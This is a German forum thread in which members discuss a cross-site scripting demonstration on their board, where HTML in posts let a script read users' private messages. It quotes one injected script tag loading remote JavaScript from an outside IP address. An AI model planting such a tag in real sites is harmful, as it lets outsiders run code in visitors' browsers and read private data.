@Holger

@ Ineedhelp!

lesen please

HTML-Code:

<script type=\"text/javascript\" src=\"http://195.34.83.85/xss-fuer-anfaenger.js\"></script>

Das ist in Threaderstelllers Post drin, weil HTML erlaubt ist. Er will vermutlich Holger zeigen, dass das ein Sicherheitsrisiko ist.
Erfolg ist eine andere Sache

Was? Auch auf, NeWsOfTzzz' Acc??? Krass

dann bitte ich mal um upload Holger & MusterMann
Schreiben kann das ja jeder.

Ok dann UP mal...würde ich mich gern von überzeugen..

Und warum ausgerechnet mein Acc?^^

FLutz schrieb:

Aber so 100%ig glaub ichs doch noch nicht

Kannste ruhig hab eben nen screen von meinem Postfach bekommen -.-

Aba, dass war vorher abgesprochen... d.H nix Lebe wohl lol

ahhh da oben steht mein name

Ich find es zwar auch nich toll, dass jeder in mein postfach schauen kann aber mich stören weniger die Mitglieder hier als Beamte die dies bestimmt gern ausnutzen würden..

Der ganze Thread ist ein Bisschen daneben falls die Sicherheitslücke noch existiert..ich mein das is ja ne Einladung .."Hey, hackt mich, geht so:"

Damn, mein Name steht auch dabei ; )
Naja, wenn HTML jatzt aus ist kann ja nichts mehr passieren...theorethisch xD

TheEye schrieb:

Naja, wenn HTML jatzt aus ist kann ja nichts mehr passieren...theorethisch xD

Das sollte euch eine Leere sein, niemals so fahrlässig mit euren JavaScript-Einstellungen umzugehen... JavaScript nur von Seiten, die man kennt!

Gruß
Broken Sword (nicht auf der Liste)

Cool wär noch wenn du sagst womit du dich schützt^^ weil ich glaube nicht, dass du einfach in FireFox "JavaScript erlauben" ausstellst..dann kann mans ja nicht speziellen Seiten erlauben.

Ich glaube er meint, dass ein Forum das sich mit Warez beschäftigt und so bekannt ist wie dieses ein gutes Territorium für ScriptKiddies ist und man aufpassen muss ob man einer Anlaufstelle für Scriptkiddies traut.

Genauso gut hätte ja jemand sich neu anmelden können, Board hacken und tschüß..wär ja kein Prob gewesen wie man gesehen hat oO

@xlemmingx: Das war so gemeint, weil es von einem anderen Server eingespeist wurde. Das hät schon mal geholfen.

NeWsOfTzzz schrieb:

Sei ma nicht so vorlaut, ich hatte den javascript nur aus bequemlichkeit von einer anderen seite eingebunden, ich hätte ihn auch komplett in den beitrag posten können.. da hättste nix gemacht
PS: Außer du hast jetzt javascript auch von freesoft-board deaktiviert.. das wäre natürlich dann sicher gewesen!

Warum vorlaut? Ist nun mmal Tatsache. Ich veranlass Opera mit Hilfe von AdMunch spezielle Befehle nicht auszuführen, bzw einfach nur false zurckzugeben.

Vielleicht hast du ein paar Usern damit ja die Augen geöffnet

Hier erwarte ich aber mal ne Klarstellung von Admin-Seite in verständlicher Sprache was Sache ist. Als harmloses Member vermute ich, dass es nicht mehr harmlos ist hier Mitglied zu sein. Ist das richtig?

Dann muß ich meinen Account hier schlagartig überdenken. Das ist für mich NICHT witzig.

mfg, gxgallery